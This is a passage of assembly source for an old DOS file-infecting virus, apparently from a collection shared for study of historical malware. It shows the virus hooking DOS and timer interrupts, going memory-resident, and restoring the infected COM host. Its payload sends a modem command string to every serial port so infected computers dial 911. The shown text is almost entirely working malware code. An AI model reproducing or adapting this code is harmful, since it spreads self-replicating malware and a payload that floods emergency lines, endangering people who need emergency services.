armag911.asm

More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use

		int     21                      ;Release Allocated Memory
						
		mov     ax,word ptr cs:[filename_seg]           
		mov     ds,ax
		mov     dx,word ptr cs:[filename_off]           
		mov     ax,4301 
		mov     cx,word ptr cs:[attribs]
		int     21                      ;Restore File Date/Time
							
		jmp     short End_Infect            
		nop

Pop_And_Quit_Infect:
		pop     ds 
		pop     dx
		jmp     short End_Infect
		nop
End_Infect:
		pop     di es bp dx ax cx si bx ds
		jmp     Go_Int_21
		
;************************************************************************  
;*                      Timer Click (INT 8) Handler                     *
;*                      This is Used to Dial Numbers                    *
;************************************************************************
Int_08:
		push    bp ds es ax bx cx dx si di
		
		pushf                              ;Push flags
		;call    word ptr cs:[Int_08_Off]  ;Run old timer click
		db      2e,0ff,1e,26,01
		
		call    Timing_Routine

		push    cs
		pop     ds
		mov     ah,5
		mov     ch,byte ptr [save_time_a]
		cmp     ah,ch
		ja      Quit_Int_08
						;if [save_time_a] !=6, quit.
		mov     ah,6                    
		cmp     ah,ch
		jb      Quit_Int_08
		
		mov     ah,byte ptr [Ready_Byte]
		cmp     ah,1
		je      Go_Dial
		
		mov     ah,1
		mov     byte ptr [Ready_Byte],ah
		jmp     short Quit_Int_08
		nop

Go_Dial:
		call    Write_Ports
		
		inc     word ptr [Bytes_Written]
		mov     ax,word ptr [Bytes_Written]
		cmp     ax,21C 
		jne     Quit_Int_08
		xor     ax,ax                        ;Reset Counters
		mov     byte ptr [Ready_Byte],ah
		mov     word ptr [Bytes_Written],ax
		mov     byte ptr [Data_Ready],ah
Quit_Int_08:
		pop     di si dx cx bx ax es ds bp
		iret

;****************************************************************************  
;*                          Timing Routine For Dialing                      *    
;****************************************************************************  
  
  
Timing_Routine:
		push    cs
		pop     ds

		xor     al,al     
		mov     ah,byte ptr [Timing_Counter]
		cmp     ah,11 
		jne     Inc_Time_Count                  
		mov     ah,byte ptr [save_date] 
		cmp     ah,3bh                  
		jne     Inc_Saved_Date                  
		mov     ah,byte ptr [save_time_b]
		cmp     ah,3bh                  
		jne     Inc_S_T_B                  
		mov     ah,byte ptr [save_time_a]
		cmp     ah,17 
		jne     Inc_S_T_A       
		
		mov     byte ptr [save_time_a],al
Save_T_B:
		mov     byte ptr [save_time_b],al
Store_Save_Date:
		mov     byte ptr [save_date],al
Time_Count:
		mov     byte ptr [Timing_Counter],al
		ret
Inc_Time_Count:
		inc     byte ptr [Timing_Counter]
		ret
Inc_Saved_Date:
		inc     byte ptr [save_date]
		jmp     short Time_Count
Inc_S_T_B:
		inc     byte ptr [save_time_b]
		jmp     short Store_Save_Date
Inc_S_T_A:
		inc     byte ptr [save_time_a]
		jmp     short Save_T_B

dial_string         db      '+++aTh0m0s7=35dp911,,,,,,,' ;Dial string To call 
							 ;911 and wait
  
;****************************************************************************  
;*                        Write Data to Com Ports                           *      
;****************************************************************************  

Write_Ports:
		mov     al,byte ptr [Data_Ready]
		cmp     al,1
		je      Ret_Write_Ports              ; Jump if equal
		
		mov     al,byte ptr [Ports_Initialized] ;Have Ports been 
		cmp     al,1                            ;Initialized yet?
		je      Already_Initialized
		
		mov     cx,3
Init_Ports:
		mov     dx,cx                   
		xor     ah,ah                   
		mov     al,83                   ;Init Comport
		int     14                      ;1200 Baud, No Parity,
						;1 Stop Bit, 8 bit Word Len.
		loop    Init_Ports              ;Initalize all Ports 1-4

  
		mov     al,1
		mov     byte ptr [Ports_Initialized],al
		
		jmp     short Ret_Write_Ports        
		nop

Already_Initialized:
		push    cs
		pop     ds
		mov     si,offset dial_string
		mov     al,byte ptr [Character_Count]
		cmp     al,1A 
		jne     Write_From_SI_To_Ports                  
		jmp     short Setup_write
		nop

Write_From_SI_To_Ports:
		xor     ah,ah
		add     si,ax
		mov     al,[si]
		mov     dx,3F8                  ;Outport from SI to standard
		out     dx,al                   ;addresses of ports 1-4
		mov     dx,2F8                  ;and increment character count
		out     dx,al
		mov     dx,2E8 
		out     dx,al
		mov     dx,3E8 
		out     dx,al
		inc     byte ptr [Character_Count]
		jmp     short Ret_Write_Ports
		nop

Setup_write:
		mov     cx,3
Write_To_All_Ports:
		mov     dx,cx
		mov     al,0dh
		mov     ah,1
		int     14                      ;Write a 1 to all ports
		loop    Write_To_All_Ports
  
		mov     ax,1
		mov     byte ptr [Data_Ready],al
		mov     byte ptr [Character_Count],ah
		mov     byte ptr [Ports_Initialized],ah
  
Ret_Write_Ports:
		ret

;****************************************************************************
;                        Virus Entry Point
;****************************************************************************

Virus_Entry:
		mov     ah,0e0 
		int     21                      ;Check for Installation
		cmp     ax,0dada                ;Was it installed?
		jne     Install_Virus           ;No? Then install it.
		jmp     Already_Installed       ;Yes? Go to Already_Installed
Install_Virus:
		push    cs
		pop     ds
		mov     ax,3521                     ;Get Int 21 Address
		int     21 

		mov     word ptr [Int_21_Off],bx    ;Save old Int 21 
		mov     word ptr [Int_21_Seg],es    ;Vector
		mov     dx,offset Int_21
		mov     ax,2521 
		int     21                          ;Set Int 21

		mov     ax,3508 
		int     21                          ;Get Int 8 Address
						
		mov     word ptr [Int_08_Off],bx      
		mov     word ptr [Int_08_Seg],es    ;Save old Vectors     
		mov     dx,offset Int_08
		mov     ax,2508         
		int     21                          ;Set Int 08

		mov     ah,2C 
		int     21                          ;Get Time
						
		mov     byte ptr [save_time_a],ch
		mov     byte ptr [save_time_b],cl  ;Save Time and Date
		mov     byte ptr [save_date],dh

		mov     ax,cs:[2c]              ;Get environment block 
		mov     ds,ax                   ;address and put it in DS
		xor     si,si                   ;DS:SI=beginning of Env. B.
Find_The_Filename:
		mov     al,[si]                 ;Search through environment
		cmp     al,1                    ;block for program executed.
		je      Found_Filename
		inc     si
		jmp     short Find_The_Filename

Found_Filename:
		inc     si
		inc     si
		mov     dx,si                 ;DS:DX = Filename
		mov     ax,cs
		mov     es,ax                 ;Set segment (ES) = CS  
		mov     bx,5a                 ;Request 5a0h (1440 dec) bytes
		mov     ah,4a        
		int     21                    ;Change Allocated Memory
				     
		mov     bx,word ptr cs:[81]   ;Beginning of Command Line
		mov     ax,cs
		mov     es,ax                 ;set ES=CS again.
		mov     word ptr cs:[cs_save_1],ax
		mov     word ptr cs:[cs_save_2],ax   ;Re-Execute program
		mov     word ptr cs:[cs_save_3],ax   ;To make Int 27 cause
		mov     ax,4B00                      ;program to go mem-res   
		mov     word ptr cs:[save_ss],ss     ;without terminating
		mov     word ptr cs:[save_sp],sp     ;regular program.
		pushf                                
		;call    far cs:[Int_21_Off]         ;Call Load and Execute
		db      2e,0ff,1e,22,01

		mov     ax,word ptr cs:[save_ss]
		mov     ss,ax
		mov     ax,word ptr cs:[save_sp]        ;Restore Stack
		mov     sp,ax
		mov     ax,cs
		mov     ds,ax
		mov     dx,537                 ;DX=End of virus
		int     27                     ;Terminate & stay resident
Already_Installed:
		mov     ah,0E1                  ;Get CS of virus in memory
		int     21      
		mov     si,offset Install_Jump
		mov     cs:[si+3],ax            ;Setup Jump
		mov     ax,offset After_Jump
		mov     cs:[si+1],ax
		mov     ax,word ptr cs:[file_size]
		mov     bx,cs

Install_Jump:
		db      0ea
IP_For_Jump     db      0,0
CS_For_Jump     db      0,0

After_Jump:
		mov     cx,ax  
		mov     ds,bx
		mov     si,100
		mov     di,offset storage_bytes

Restore_File:                       ;Restore File in memory 
		mov     al,[di]
		mov     [si],al
		inc     si
		inc     di
		loop    Restore_File
  
		mov     si,offset return_jump
		mov     cs:[si+3],ds              ;set host segment
		mov     al,byte ptr ds:[100]      ;Get first byte of host,
		sub     al,0bh                    ;then unencrypt first byte
		mov     byte ptr ds:[100],al      ;of Storage_Bytes
		mov     ax,ds                     ;and restore it
		mov     es,ax                     ;restore ES and SS to point
		mov     ss,ax                     ;to DS/CS

;*              jmp     far ptr start            ;Return control to COM file
return_jump:
		db      0ea
host_offset     db      00,01
host_segment    db      07,13

Text_Message    db      'Support Your Police'

end_main_virus:
Storage_Bytes   db      0D8,20                    ;First Byte Encrypted

end_of_vir:
word_space      db      8 dup (?)

new_DTA :
end     start